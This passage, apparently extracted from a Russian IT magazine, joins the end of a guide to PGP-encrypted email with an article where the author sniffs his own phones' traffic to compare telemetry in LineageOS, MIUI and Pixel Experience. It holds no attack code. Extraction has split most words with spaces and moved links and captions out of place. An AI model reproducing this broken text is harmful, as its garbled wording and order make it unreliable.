ности. Поэто му наш выбор — поч товый кли ент.

Я  рекомен дую  уста новить,  нап ример,  .  Во‐пер вых,  это  наз‐ 
вание  ни  один  товарищ  май ор  не  выгово рит  без  оши бок  с  пер вого  раза,
а  во‐вто рых,  соф тина  под держи вает ся  сооб щес твом  и  поз воля ет  уста нав‐ 
ливать  рас ширения.  Для  шиф рования  перепис ки  мож но  вос поль зовать ся
пла гином  , который активно раз рабаты вает ся по сей день и регуляр‐ 
но обновля ется.

Thunderbird

Enigmail

Кро ме  того,  нам  понадо бят ся  спе циаль ные  при ложе ния,  которые  реали‐ 
зуют шиф рование, —  это    для  *nix  или    для Windows.  Пос ле
это го  будет  необ ходимо  соз дать  пару  зак рытый  —  откры тый  ключ  и  не
забывать под писывать свои пись ма элек трон ной под писью, что бы получа тель
точ но  знал,  что  пись мо  приш ло  имен но  от  тебя.  Зву чит  слож но?  На  самом
деле все гораз до про ще, чем кажет ся.

GnuPG Pgp4Win

INFO

Да же с уче том шиф рования поч товый сер вер все
рав но будет знать, отку да ты к нему под клю чил ся,
смо жет опре делить вре мя под клю чения, дей ствия
с  пись мами  (уда ление,  соз дание,  пересыл ка)
и  адрес,  на  который  было  отправ лено  пись мо.
Но  про читать  информа цию  из  пись ма  смо жет
толь ко  получа тель.  И  не  забывай:  заголо вок
с  темой  пись ма  по  умол чанию  не  зашиф рован,
так  что  выбирай  тему  осмотри тель но,  что бы
ненаро ком не спа лить ся.

УСТАНОВКА И НАСТРОЙКА НЕОБХОДИМОГО ИНСТРУМЕНТАРИЯ
С  уста нов кой  поч тового  кли ента  Thunderbird  у  тебя  точ но  не  дол жно  воз‐ 
никнуть  проб лем — по  слу хам,  однажды  с  этой  архислож ной  задачей  спра‐ 
вилась  даже  шим панзе  из  рязан ско го  зоопар ка.  Далее  пос тавим  Pgp4Win,
толь ко  убе дись,  что  на  экра не  «Ком понен ты  уста нав лива емой  прог раммы»
есть все нуж ные галоч ки!

Сна чала уста нав лива ем Pgp4Win

Не забудь выб рать все ком понен ты во вре мя уста нов ки

Пос ле это го запус каем Thunderbird и нас тра иваем в кли енте дос туп к сво ему
поч товому  ящи ку  (докумен тации  по  нас трой ке  Thunderbird  в  интерне те
навалом). Сле дующим эта пом уста нав лива ем пла гин Enigmail.

Ус танав лива ем Enigmail

За кон чив  эти  тан цеваль ные  номера  с  буб ном,  соз даем  клю чевую  пару
(откры тый и зак рытый ключ) и сер тификат отзы ва клю ча. Этот сер тификат пот‐ 
ребу ется,  если  ты  однажды  потеря ешь    по  какой‐то  при чине  сек‐ 
ретный  ключ и  тебе пот ребу ется отоз вать  заг ружен ный на  сер вер откры тый
ключ.

по  пьяни

Итак, что бы соз дать клю чевую пару, перей дем в меню «Enigmail → Менед‐ 
жер клю чей». Пос ле это го нуж но выб рать пункт «Новая пара клю чей» в меню
«Соз дать».  В  открыв шемся  окне  отоб разят ся  нас трой ки  соз дава емой  клю‐ 
чевой  пары,  поле  для  вво да  пароль ной  фра зы  и  выбор  алго рит мов  шиф‐ 
рования во вклад ке  «Допол нитель но». Прог рамма пред лага ет  выб рать один
из двух крип тогра фичес ких алго рит мов — ECC и RSA.

Нас трой ка соз дава емой клю чевой пары

Вы бор меж ду ECC и RSA
Да вай  раз берем ся,  чем  эти  алго рит мы  отли чают ся  друг  от  дру га  и  какой
из них луч ше выб рать.

 (аббре виату ра от фамилий соз дателей — Rivest, Shamir и Adleman) —
асим метрич ный  крип тогра фичес кий  алго ритм,  осно ван ный  на  слож ности
задачи фак ториза ции (раз ложения) боль ших целых чисел. Это была заум ная
цитата из Википе дии. А если поп роще, то дос таточ но ска зать, что этот алго‐ 
ритм ста рый, как Pentium 4, но такой же надеж ный и про верен ный вре менем.
Он  исполь зует ся  пов семес тно  в  самых  раз ных  при ложе ниях  и  защищен ных
про токо лах.

RSA

Су щес тву ет  его  более  новый  и,  как  счи тает ся,  прог рессив ный  ана лог —
алго ритм   (Elliptic Curve Cryptography). Та же Википе дия говорит нам, что
этот  асим метрич ный  алго ритм  «опи рает ся  на  эллипти чес кие  кри вые
над  конеч ными  полями».  Что  это  озна чает,  при  желании  проч тешь  там  же.
А нам важ но вот что: для обес печения оди нако вой сте пени крип тостой кос ти
алго рит му RSA тре буют ся клю чи дли ной 4096 бит, а алго рит му ECC — все го
от  256  до  384  бит.  А  если  взять  ECC  с  дли ной  клю ча  521  бит,  то  по  крип‐ 
тостой кос ти он будет экви вален тен RSA с дли ной клю ча 15 360 бит!

ECC

Из  это го  сле дует,  что  шиф рование  с  при мене нием  ECC  будет  быс трее
и  менее  энер гозат ратно,  что  не  может  не  радовать,  если  ты  исполь зуешь
мобиль ные  устрой ства. С дру гой  сто роны,  с RSA мы поль зуем ся  про верен‐ 
ным  вре менем  (и  мас сой  матема тиков)  крип тогра фичес ким  алго рит мом,
который име ет к тому же некото рый «запас проч ности» перед нас тупле нием
эпо хи кван товых компь юте ров.

Пароль — это важ но!
Нес мотря  на  стой кость  крип тоал горит мов,  необ ходимо  уде лить  вни мание
выбору  качес твен ного  пароля  для  шиф рования.  Если  пароль  будет  недос‐ 
таточ но  стой ким,  то  рас шифро вать  твою  перепис ку  не  сос тавит  боль шого
тру да, какие бы кру тые крип тоал горит мы ты ни исполь зовал.

Не  забывай:  пароль  не  дол жен  быть  корот ким  —  нуж но  исполь зовать
не менее  12–15  сим волов.  Пароль  не  дол жен  быть  любым  сло вар ным  сло‐ 
вом, дол жен иметь циф ры и бук вы обо их регис тров

.

, вступ ление, зак лючение,
раз витие  дра мати чес кого  сюжета  и  спи сок  исполь зован ной  литера туры
в кон це

В основном работа ет пра вило: чем лег че запом нить пароль тебе самому,
тем  про ще  его  будет  подоб рать  зло умыш ленни ку.  Поэто му  мож но  прос то
пару раз хорошень ко стук нуть ся лбом о кла виату ру, а потом выучить получив‐ 
шуюся псев дослу чай ную пос ледова тель ность сим волов.  Глав ное — никог да
не  при думы вать  и  не  менять  пароли  пос ле  шум ной  вечерин ки.  Однажды
нарушив это пра вило, ты пой мешь почему.

Пос ле  успешно го соз дания  клю чевой пары прог рамма пред ложит  тебе соз‐ 
дать сер тификат отзы ва. Я рекомен дую сде лать это на вся кий слу чай.

Соз даем сер тификат отзы ва

Те перь все готово. Если кто‐то захочет зашиф ровать перепис ку с тобой, ему
понадо бит ся  откры тый  ключ. Передать  его  собесед нику мож но  любым  спо‐ 
собом — ведь если откры тый ключ перех ватят, то все рав но не будет никакой
воз можнос ти рас шифро вать перепис ку. Но все‐таки я рекомен дую заг рузить
откры тый  ключ  на  спе циаль ный  сер вер  —  сер вер  клю чей.  Отту да  любой
человек  может  заб рать  твой  откры тый  ключ,  нап ример  выпол нив  поиск
по поч товому адре су. Что бы заг рузить ключ на сер вер, в оснас тке «Управле‐ 
ние клю чами» в меню прог раммы нуж но выб рать пункт «Раз местить откры тые
клю чи на сер вере клю чей».

Раз меща ем откры тый ключ на сер вере клю чей

Продолжение статьи →
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ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

Пос ле это го ключ авто мати чес ки заг рузит ся на сер вер.

Заг рузка клю ча на сер вер

Те перь давай пос мотрим на прак тике,  что пред став ляет собой шиф рование
поч ты  асим метрич ной  крип тогра фией. Мы  соз дадим  и  отпра вим  сами  себе
зашиф рован ное сооб щение и пос мотрим, как оно выг лядит с пла гином Enig‐
mail и без него — как если бы мы перех ватили чье‐то сооб щение. У нас уже
все  нас тро ено,  нам  прос то  нуж но  соз дать  пись мо  обыч ным  спо собом,
не забыв нажать на кноп ки «Зашиф ровать» и «Под писать».

Соз даем пер вое зашиф рован ное пись мо

По лучен ное сооб щение будет выг лядеть как на кар тинке ниже.

По лучи ли пись мо!

Здесь вид но, что сооб щение рас шифро вано и его под пись про вере на, о чем
нам и сооб щает Enigmail.

А что, если мы не зна ем сек ретно го клю ча и прос то перех ватили это сооб‐ 
щение, нап ример на поч товом сер вере? Как оно будет выг лядеть в этом слу‐ 
чае, ты можешь пос мотреть на сле дующей кар тинке.

Так выг лядит шиф ротекст нашего пись ма

Как видишь, у того, кто перех ватит нашу поч ту, будут боль шие проб лемы с ее
чте нием.

ПЛАГИН MAILVELOPE
Что,  если  по  какой‐то  при чине  ты  не  захочешь  ста вить  поч товый  кли ент,
но  все  же  решишь  защитить  свою  перепис ку?  Есть  выход:  рас ширение
для бра узе ра под наз вани ем  . Оно име ет откры тый исходный код,
под держи вает ся все ми сов ремен ными бра узе рами и не тре бует для работы
никаких  сто рон них  при ложе ний.  Но  если  ты  уста новишь  на  компь ютер  Pg‐
p4Win, то у тебя появит ся воз можность выбора, какой дви жок исполь зовать —
GnuPG или OpenPGP.js. В пос леднем реали зова но шиф рование PGP на язы ке
JavaScript.

Mailvelope

Что бы  начать  поль зовать ся шиф ровани ем  поч ты  при  помощи Mailvelope,
нуж но  будет  еще  сге нери ровать  клю чевую  пару  и  отпра вить  откры тый  ключ
на сер вер клю чей — в нас трой ках Mailvelope это мож но сде лать  уста нов кой
нуж ной галоч ки.

Уп равле ние клю чами в Mailvelope

Сге нери рован ная клю чевая пара появит ся во вклад ке «Управле ние клю чами».

Соз данная клю чевая пара

Кро ме  того,  есть  воз можность  импорта  и  экспор та  готовых  клю чевых  пар.
Еще  рас ширение  уме ет  шиф ровать  переда ваемые  вло жения  и  отдель ные
фай лы,  в  нем  есть  воз можность  добав лять  элек трон ную  под пись.  Теперь,
если ты зай дешь в свой поч товый ящик через веб‐интерфейс и попыта ешь ся
написать  кому‐то  пись мо,  в  фор ме  вво да  пись ма  появит ся  новая  кноп ка,
запус кающая Mailvelope.

Соз даем сооб щение через веб‐интерфейс

Ес ли клик нуть по этой кноп ке, откро ется окно вво да сооб щения. Ког да пись‐ 
мо будет написа но, необ ходимо нажать на кноп ку «Зашиф ровать».

Ин терфейс Mailvelope

За шиф рован ное  сооб щение  будет  авто мати чес ки  ско пиро вано
в веб‐интерфейс поч тового сер вера.

Вста вили шиф ротекст в интерфейс поч тового сер вера

Ес ли рас ширение активно, сооб щение дешиф рует ся и элек трон ная под пись
про веря ется авто мати чес ки, нуж но будет толь ко ввес ти свой пароль.

При няли зашиф рован ное сооб щение

Шиф рование поч ты на Android
Ес ли у тебя смар тфон с Android, обра ти вни мание на при ложе ние 

,  которое  поможет  в  шиф ровании  сооб щений  в  тво ем  телефо не.
В  качес тве  поч тового  кли ента  для  Android  мож но  исполь зовать    —
это  извес тный  поч товый  кли ент  с  откры тым  исходным  кодом,  а  прин цип
генера ции клю чевых пар там точ но такой же, как и на дес кто пе.

OpenKey‐
chain

K‐9  Mail

ЗАКЛЮЧЕНИЕ
Те перь ты зна ешь, как обес печить переда чу кон фиден циаль ной информа ции
через  недове рен ную  сеть  —  интернет,  где  каж дый,  начиная  про вай дером
и закан чивая адми нис тра тором поч тового сер вера, может перех ватить и про‐ 
читать твои элек трон ные сооб щения и выведать все тай ны.

При помощи асим метрич ной крип тогра фии мож но безопас но переда вать,
нап ример,  клю чи для рас шифров ки  крип токон тей неров,  которые  ты оста вил
на каком‐нибудь фай лооб менни ке, да и любые дру гие непуб личные дан ные.

https://www.mailvelope.com/
https://www.openkeychain.org/
https://k9mail.github.io/
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ПРИВАТНОСТЬ

Ни  для  кого  не  сек рет,  что  наши  с  тобой
телефо ны  зна ют  о  нас  слиш ком  мно го.
Порой  даже  боль ше,  чем мы  сами. И  пока
твой  гад жет  с  тобой,  труд но  най ти  хоть
минут ку, ког да никакая информа ция о тво их
дей стви ях не попадет в сеть. Допус тим,  ты
уста новил  кас томную  про шив ку  и  не  уста‐ 
нав ливал  GApps.  Дума ешь,  твои  дан ные
в безопас ности? Сей час про верим!

Про изво дите ли смар тфо нов хотят сде лать свои гад жеты уни каль ными. Одни
дос тига ют  это го  за  счет  реали зации  зап редель ных  кон фигура ций  (при вет,

), а дру гие, не име ющие таких ресур сов, укра шают
ничем  не  при меча тель ное  железо  фир менны ми  про шив ками.  Иног да  вся
«уни каль ность» про шив ки зак люча ется в фир менном лаун чере и обо ях, в дру‐ 
гих име ет мес то пол ная перера бот ка Android.

Nokia 9 с пятью камера ми

Пер вый  спо соб  исполь зовал  ZTE,  выпус тив  в  свет  недоро гой  Blade
L4  с  про шив кой  от  «Билай на»  в  качес тве  единс твен ного  вари анта.  Помимо
кучи бес полез ного соф та от собс твен но «Билай на», в «подарок» шли GApps
в  пол ном  наборе  (само  собой,  без  воз можнос ти  уда ления)  и  анти вирус,
который отка зывал ся работать без сим ки «Билай на». Вто рой спо соб исполь‐ 
зует китай ская ком пания Xiaomi, извес тная сво ей бюд жетной линей кой Redmi
и доволь но инте рес ной про шив кой MIUI, в которой от ори гиналь ного «Андро‐ 
ида» поч ти ничего не оста лось. То же самое дела ет Meizu, выпус кающая свои
телефо ны с про шив кой Flyme.

И если  с  телефо нами самой Google  все более‐менее  ясно — информа‐ 
цию о том, какие дан ные они собира ют, ком пания пуб лику ет откры то и даже
поз воля ет  заб рать дамп этих дан ных себе, —  то  что собира ют о нас  китай‐ 
ские смар тфо ны? А какую информа цию о тебе сли вает AOSP или тот же Lin‐
eageOS, если из них выпилить (или прос то не уста нав ливать) сер висы и при‐ 
ложе ния Google? Поп робу ем разоб рать ся.

ПОДОПЫТНЫЕ ПРОШИВКИ
Для  начала  опре делим ся  с  кан дидата ми  на  тес тирова ние.  У  нас  их  будет
четыре:

  —  сбор ка  AOSP  с  пол ным  ком плек том  при ложе ний
и  сер висов  Google.  Это  кас том,  но  кас том,  мак сималь но  приб лижен ный
к  про шив ке,  которую  Google  уста нав лива ет  на  свои  «Пик сели».  Для  нас
это  будет  сво его  рода  обра зец,  который  показы вает,  что  сли вает  в  сеть
сама Google;

• Pixel  Experience

  —  кас томная  про шив ка  на  базе  AOSP  без  при ложе ний
и  сер висов  Google.  На  этой  про шив ке  мы  про верим  утвер жде ние,  что,
если  ты  хочешь,  что бы  за  тобой  не  сле дили,  надо  пос тавить  кас том
без GApps;

• LineageOS  16

 —  про шив ка  от  Xiaomi.  По  сути,  это  уже
не сов сем Android, а взрыв ная смесь из китай ских сер висов, собс твен ной
сис темы  кон тро ля  раз решений,  Google  Play  и  его  ком пании  и  тон ны
не уда ляемо го штат ными средс тва ми соф та,  который, впро чем, по умол‐ 
чанию поч ти никакой угро зы не несет;

• MIUI  10.2.3.0 Global  Stable

  —  про шив ка  Flyme  от  Meizu.  К  сожале нию,  офи‐ 
циаль ная вер сия так и не выш ла из сос тояния беты, но в неофи циаль ной
(пусть и более новой) сбор ке были выпиле ны все сер висы от Meizu, ста ло
быть, и тес тировать нам будет нечего. Так что при дет ся доволь ство вать ся
этой вер сией.

• Flyme 6.8.4.3R beta

КТО И ЧТО ЗНАЕТ О НАС
В глав ных ролях:

кор порация доб ра по име ни Google;•
Xiaomi / Meizu / дру гой вен дор.•

Из  заяв ления  об  отсутс твии  кон фиден циаль нос ти  мы  зна ем,  что  Боль шой
Брат Google собира ет и хра нит мас су информа ции. Это:

твоя исто рия поис ка, и не толь ко в фир менном поис ковике, но и в YouTube,
который,  как  ты  зна ешь,  тоже  при над лежит  Google.  По  умол чанию  сбор
этой информа ции вклю чен и никак не афи ширу ется, но ты можешь отклю‐ 
чить ее сбор на стра нице нас тро ек акка унта;

•

пол ная  исто рия  тво его  мес тополо жения,  добыва емая  со  смар тфо на.
За это отве чает неуби ваемая служ ба GoogleLocationService, работа ющая
даже  в  том  слу чае,  если GApps’ы  уста нов лены  в  вари анте  pico. Осо бен‐ 
ность ее сос тоит в том, что для опре деле ния мес тополо жения исполь зует‐ 
ся не толь ко GPS, но и сотовые выш ки и сети Wi‐Fi. Вся эта информа ция
хра нит ся  локаль но,  но  при  наличии  под клю чения  к  интерне ту  сли вает ся
на сер веры Google;

•

ин форма ция о при ложе ниях на тво ем устрой стве и об их вер сиях. Эти дан‐ 
ные  сли вают ся  Play  Market’ом  и  нуж ны,  наде юсь,  толь ко  для  ста тис тики.
На осно вании этой ста тис тики запол няет ся раз дел «Вам может пон равить‐ 
ся» в Play Market’е;

•

все  твои  кон такты. За их сбор отве чает служ ба син хро низа ции,  вклю чен‐ 
ная по умол чанию;

•

• ;за писи всех голосо вых зап росов

• пол ная и раз верну тая ста тис тика тво их дей ствий с телефо ном и поис ком.
.Най ти ее мож но тут

Как  вид но  из  скрин шота,  Google  собира ет  даже  кон крет ное  вре мя  запус ка
при ложе ния  на  кон крет ном  устрой стве.  Как  ты  уже  догадал ся,  эта  фун кция
тоже вклю чена по умол чанию.

Лад но еще Linux, но Windows‐то тут отку да?

Кро ме  того,  для  тебя  соз дает ся  спе циаль ный  рек ламный  про филь.  Пос‐ 
мотреть и изме нить его мож но по  .этой ссыл ке

Впро чем,  рас ска зывать,  что  имен но  собира ет  о  нас  с  тобой  Боль шой
Брат, мож но очень дол го. Думаю, что и это го, весь ма скуд ного набора будет
дос таточ но, что бы ты понял, чем пах нет такое положе ние вещей.

Пе речень информа ции, которую собира ет Xiaomi,  так же весь ма обши рен
(ори гиналь ная орфогра фия сох ранена):

 (вклю чая кон так тные дан ные): мы можем соб рать любую пер- 
сональ ную  информа цию,  которую  вы  пре дос тавля ете  нам,  нап- 
ример, ваше имя, номер мобиль ного телефо на, адрес элек трон ной
поч ты,  адрес  дос тавки,  Ми  рек визитов  (нап ример,  свя зан ные
с безопас ностью информа ции, ФИО, дата рож дения, пол), заказа,
сче та‑фак туры,  матери алы  или  информа цию,  Вы  можете  син хро- 
низи ровать  через  облачные Ми  или  дру гими  при ложе ниями  (нап- 
ример,  фотог рафии,  спис ки  кон тактов),  информа ция  в  отно шении
соз дания  учет ной  записи  и  учас тия  в  форуме  MIUI  на  xiaomi
или  дру гой  плат формы,  номера  телефо нов,  которые  вы  вво дите
в  «кон такты» или отпра вить  сооб щение,  обратную связь,  и  любую
дру гую информа цию, которую вы нам пре дос тавля ете.

• Ин форма ция,  которую  вы  пре дос тавля ете  нам  или  отпра‐ 
вить

:  информа ция,  свя- 
зан ная  с  вашим  устрой ством.  Нап ример,  номер  IMEI,  imsi  номер,
MAC-адрес,  на  MIUI,  вер сия  андро ид,  номер  детали  и  наз вание
модели, опе рато ра сети.

• Ус трой ства  или  SIM‐обзо ры  информа ция

:  мы
можем  собирать  и  исполь зовать  информа цию,  такую  как  Ми  ID
учет ной записи.

• Све дения  о  вас,  которые  могут  быть  наз начены  нами

 (толь ко за кон крет ные услу ги/
фун кции): раз личную информа цию о вашем мес тополо жении. Нап- 
ример,  код  стра ны,  код  города,  код  мобиль ной  сети,  мобиль ные
лич ности, дол готы и широты, язы ковые нас трой ки.

• Ин форма цию о мес тополо жении

:  информа цию,  отно сящу юся  к  исполь зованию
некото рых фун кций,  при ложе ний  и  веб‑сай тов. Нап ример,  cookie-
фай лы и дру гие ано ним ные тех нологий иден тифика тор,  IP адре са,
вре мен ную исто рию Сооб щений, стан дар тные сис темные жур налы.

• Жур нал  све дений

:  эко логи чес кие  харак терис тики  зна чение
(ОКП) (т. е. зна чение, генери руемое Ми номер сче та, телефо на, ID
устрой ства,  под клю чен  Wi-Fi  Интернет  ID  и  мес тополо жение  зна- 
чения).

• Дру гая  информа ция

Мы так же можем собирать дру гие виды информа ции, которые не свя- 
заны с физичес ким лицом и которое явля ется ано ним ным. Нап ример,
модели устрой ства и вер сии сис темы количес тво поль зовате лей Xiao-
mi  в  устрой стве  мобиль ного  телефо на  могут  быть  получе ны
при исполь зовании опре делен ной услу ги. Подоб ные све дения собира- 
ются  для  того,  что бы  улуч шить  услу ги,  которые  мы  пре дос тавля ем
Вам.  Тип  и  объ ем  соб ранной  информа ции  будет  зависеть  от  того,
как вы исполь зуете, сог лашение или учас тво вать в наших про дук тах и/
или услу гах.

Это  цитата  из    (для  тех,  кто
не понял, я спе циаль но сде лал  ),  которая,
по сути, гаран тиру ет нам пол ное ее отсутс твие. В све те это го ста рая совет‐ 
ская фра за «Нам нужен мир, и по воз можнос ти — весь» обре тает чуть дру гую
фор мулиров ку:  «Нам  нуж ны  твои  дан ные,  и  по  воз можнос ти —  все».  Зву чит
печаль но? Что ж, готовь ся к худ шему.

офи циаль ной  полити ки  кон фиден циаль нос ти
пе ревод на челове чес кий рус ский

ТЕСТОВЫЙ СТЕНД
Тес товый стенд будет не один, а сра зу три:

ZTE Blade L4 2015 года выпус ка;•
Xiaomi Redmi Note 4X 2017 года выпус ка;•
Xiaomi Redmi 4X.•

С инс тру мен тами тоже все прос то: Fiddler, Wireshark и tcpdump. Fiddler с Wire‐
shark’ом мы пос тавим на боль шую машину, а tcpdump — на телефон со све‐ 
жеус танов ленной про шив кой. Алго ритм дей ствий будет сле дующим:
1. Ус танав лива ем чис тую про шив ку (по воз можнос ти без GApps).
2. Без  акти вации  гуг лоак каун та  уста нав лива ем  tcpdump  и  (по  воз можнос ти
и необ ходимос ти) кор невой сер тификат Fiddler’а.

3. Под клю чаем ся  к  Wi‐Fi‐сети,  которая  раз дает ся  с  ноута  (там  сидят  Wire‐
shark и Fiddler).

4. Си дим в засаде пол часа.
5. Ты каем менюш ки,  вся чес ки симули руя дей ствия поль зовате ля, но ничего
не меня ем.

6. От клю чаем все, что можем отклю чить без прав  root, и еще раз про ходим
пун кты 4–5.

WWW

Ес ли  ты  обла датель  i‐девай са,  обра ти  вни мание
на    о  безопас ности  ябло кофо‐ 
нов.

не дав нюю  статью

СНИФАЕМ ТРАФИК С ЖИВОЙ СИСТЕМЫ
Я под нял точ ку дос тупа с ноут бука с Ubuntu 18.04 на бор ту, нас тро ил на ней
шлюз и повесил Wireshark. Конеч но же, тол ку от него мало, если тра фик идет
по  HTTPS,  но  в  боль шинс тве  слу чаев  сам  факт  уста нов ления  соеди нения
на некото рый адрес уже дос таточ ное доказа тель ство. Даль нейшая нас трой ка
прос та  как  два  руб ля:  нас тра иваем  hostapd  на  хос товой  машине,  веша ем
Wireshark  там  же,  на  телефо не  импорти руем  кор невой  сер тификат  Fiddler’а
и нас тра иваем прок си. Всё!

LineageOS 16
LineageOS — про шив ка,  осно ван ная на  коде CyanogenMod,  который в  свое
вре мя был эта лоном сре ди сво бод ных про шивок. «Циан» породил мно жес тво
фор ков, из которых LineageOS, навер ное, самый извес тный.

Сра зу пос ле заг рузки нам пред лага ют сог ласить ся на отправ ку ано ним ной
ста тис тики. Одна ко даже пос ле сог ласия про шив ка мол чит. Не появи лась она
и пос ле получа са сидения в  засаде. На под клю чение  к Wi‐Fi‐сети про шив ка
сре аги рова ла лишь про вер кой соеди нения и затих ла.

Вы вод: LineageOS если и переда ет что‐то, то дела ет это не сра зу.

MIUI
С  самого  начала  про шив ка  вела  себя  нес покой но.  Зап росы  лились  рекой
на сле дующие сер веры:

connect.rom.miui.com;•
android.clients.google.com;•
www.gstatic.com;•
mtalk.google.com;•
data.mistat.intl.xiaomi.com;•
storage.googleapis.com;•
redirector.gvt1.com;•
www.youtube.com;•
dl.google.com;•
api.sec.miui.com;•
r8‐‐‐sn‐cxauxaxjvh‐hn9e7.gvt1.com.•

Пер вый HTTP‐зап рос был на  , нуж ный
для про вер ки соеди нения. Замечу, что зап росы туда идут поч ти каж дые пол‐ 
торы‐две минуты, нес мотря на отсутс твие обры вов и ста биль но низ кие пин ги.

connect.rom.miui.com/generate_204

Как  толь ко  соеди нение  было  про вере но,  телефон  свя зал ся  с  адре сом
  и  передал  ему  поч ти  2  Кбайт

дан ных. Судя по все му, это что‐то вро де телемет рии.
data.mistat.intl.xiaomi.com/mistats/v2

Кап ля из оке ана собира емых дан ных

За тем еще два уве сис тых пакета с дан ными уле тели на дру гой хост этой под‐ 
сети (161.117.71.187), но, к сожале нию, они ока зались закоди рова ны. Оба эти
адре са находят ся в Син гапуре.

Сле дующий  инте рес ный  зап рос  ушел  на 
.  Он  содер жал  наз вание  моей

стра ны и под пись, наз нача емую, как я уви дел в даль нейшем, каж дому пакету
для защиты от под делки. Сле дующим зап росом туда же уле тел некий ста тус,
а затем еще нес коль ко пакетов дан ных.

relocationapi.micloud.xiao‐
mi.net/mic/relocation/v3/user/record

Сле дующая  дверь,  куда  телефон  пос тучал,  была  по  адре су 
.  Сам  зап рос  ока зал ся  пус тым,  но  содер жал  кукисы,  в  которых

лежала вся информа ция о моем телефо не, в том чис ле и уни каль ный серий‐ 
ный  номер.  В  ответ  на  него  телефон  получил  некий  serviceToken,  который
отны не све тит ся во всех HTTP‐зап росах, и не толь ко на этот адрес. Сле дом
туда же ушел мой User ID и Device ID.

api.device.
xiaomi.net

Даль ше мы  видим  то,  что  я  ожи дал  уви деть  в  самом начале:  обра щение
к рек ламной сети. И не какой‐то, а сво ей. Адрес хос та — 

. На сер вер ухо дит вер сия рек ламно го SDK и наш User ID из прош‐ 
лого зап роса. В ответ мы получа ем спи сок клю чевых слов, сог ласно которым
отны не  будет  заг ружать ся  рек лама,  и  вре мя  хра нения  этой  информа ции
в кеше (ука зан как TTL).

globalapi.ad.xi‐
aomi.com

Из‐за популяр ности устрой ств лине ек Mi и осо бен но Redmi в Xiaomi сте‐ 
кает ся  уйма информа ции. Для балан сиров ки наг рузки  ком пания раз верну ла
при лич ную  по  раз мерам  сеть  по  все му  миру.  Мой  телефон  прик репили
к индий ско му сер веру, и отны не вся информа ция идет туда.

Download Provider дол жен Download, а не Upload!

Часть информа ции ушла через Download Provider (
),  которо му  ни  один  здра вомыс лящий  человек  дос туп  в  сеть

не зап ретит. Кста ти, те же фокусы (то есть такие же пакеты, толь ко с дру гими
зна чени ями    и  )  про вора чива ет  менед жер  тем  (

)  и  кален дарь  ( ).  В  сред нем
такие зап росы идут каж дые 30–40 секунд на раз ные адре са и с раз ными зна‐ 
чени ями channel и package_name.

com.android.providers.
downloads

channel package_name com.
android.thememanager com.android.calendar

Но нас тоящее шпи онс тво  толь ко начина ется:  в один прек расный момент
мы получа ем от   не толь ко наш внеш ний IP‐адрес
(хотя непонят но, зачем он нужен телефо ну), но и стра ну, город, наз вание про‐ 
вай дера,  наш  реаль ный  IP‐адрес  (если  мы  сидим  за  проз рачным  прок си),
домен, куда нуж но сли вать ста тис тику (мне при шел  ), исполь зуемый
TTL,  некий  tid  и  по  два  ава рий ных  адре са  для  исполь зования  через  Wi‐Fi
и мобиль ную сеть соот ветс твен но (обра щений к ним я не зафик сировал, но,
если основные сер веры Xiaomi навер нутся, воз можно, что‐то и най дет ся).

resolver.gslb.mi‐idc.com

s.mi1.cc

Я уже хотел было закан чивать обзор этой про шив ки, но заметил во вто ром
дам пе  зап рос  к 

,  в  ответ  на  который  нам  при шел  тек сто вый  файл  со  сле‐ 
дующим содер жимым:

gstatic.com/android/config_update/11052018‐sms‐
metadata.txt

SIGNATURE:uE3dCcZfnDvXnxsV+uHVOmnzZS03kIcda4t2tA4tKY0w6vvx5vngBO6GTb/
8j5+3ZvjqBBkx5f8rsiopC/7QgBQhDBBQMJj9i0oWycA/PzRiPGGpXySdyNobw5GKb8KB
2GjFW5VXgC1GMuRkWHeCfGGV9zlXbueQeIschm+gayIA18g9D7Gs9cVzbzWo7VS
L3ppbiJHD9FIf7VWeJjh8MhdYruWnHducGiztDKtXPNnWjgNKIlWYu5w3TiK3At
FinLUNE2ht15Z+nvRwcGVEmzeY8JKjDK3nRyhYrSWY3uDe5J9hUF9ViXSIWkDS5QP
9aEx8wLv0+6EFSibpyZUK9Q==
VERSION:19
REQUIRED_HASH:NONE

Это метадан ные к корот ким кодам SMS.
Это было все, что я накопал из незашиф рован ного тра фика, но оста лось

еще мно го SSL‐ и TLS‐тра фика, с которым разоб рать ся не получи лось. Про‐ 
шив ка  вол шебным  обра зом  игно риро вала  выс тавлен ные  нас трой ки  прок си,
так что приш лось огра ничить ся иссле дова нием того, что мож но было дос тать
«голыми руками».

Что до отклю чения этой гран диоз ной шпи онской машины, то в ней встро‐ 
ено слиш ком мно го инс тру мен тов для сбо ра дан ных. Отклю чить все это штат‐ 
ными  средс тва ми  не  удас тся,  а  уда ление  «при ложе ний‐сту качей»  целиком
прев ратит твой телефон в обыч ную зво нил ку, тол ку от которой никако го.

Pixel Experience

Pixel Experience is an AOSP/CAF based ROM, with Google apps included
and all Pixel goodies.

Эта цитата впол не точ но переда ет сущ ность про шив ки. По сути, Pixel Experi‐
ence — не что иное, как AOSP с лаун чером из смар тфо на Pixel плюс все при‐ 
ложе ния из пакета GApps.

Уже спус тя пять минут исполь зования про шив ка отпра вила в сеть 80 тысяч
пакетов, и я понял, что на ана лиз все го это го у меня уйдет веч ность. Я прос то
сос тавлю спи сок адре сов, а ты решай сам, готов ли отпра вить неоп ределен‐ 
ное  (а на самом деле впол не опре делен ное — 62 Мбайт)  количес тво сво их
дан ных в Google.

IP-адрес Хос тнейм

172.217.16.36 www.google.com

216.58.209.3 connectivitycheck.gstatic.com

216.239.35.12 time.android.com

74.125.131.188 mtalk.google.com

108.177.126.95 ns1.google.com

74.125.143.94

209.85.234.188

108.177.119.147 ns1.google.com

108.177.126.139 ns1.google.com

108.177.126.94 ns1.google.com

108.177.126.97 ns1.google.com

108.177.127.95 ns1.google.com

172.217.218.104

172.217.218.91

172.217.218.94

172.217.218.95

173.194.69.100

173.194.69.190

173.194.79.94

173.194.79.95

209.85.234.188

216.239.35.12 time4.google.com

216.58.209.3

224.0.0.22 igmp.mcast.net

224.0.0.251 sns.dns.icann.org

23.222.51.182 a23‐222‐51‐182.deploy.static.akamaitechnologies.com

74.125.128.188

74.125.131.188

74.125.143.94

74.125.143.95

86.57.206.210 210‐206‐57‐86.beltelecom.by

8.8.8.8 google‐public‐dns‐a.google.com

99.86.4.37 server‐99‐86‐4‐37.fra6.r.cloudfront.net

Лич но  у  меня  самое  боль шое  удив ление  выз вало  обра щение  к  под домену
Бел телеко ма, к которо му я прик реплен чуть менее чем никак. И еще инте рес‐ 
нее, почему гуг лов ская про шив ка сту чит на Cloudfront.

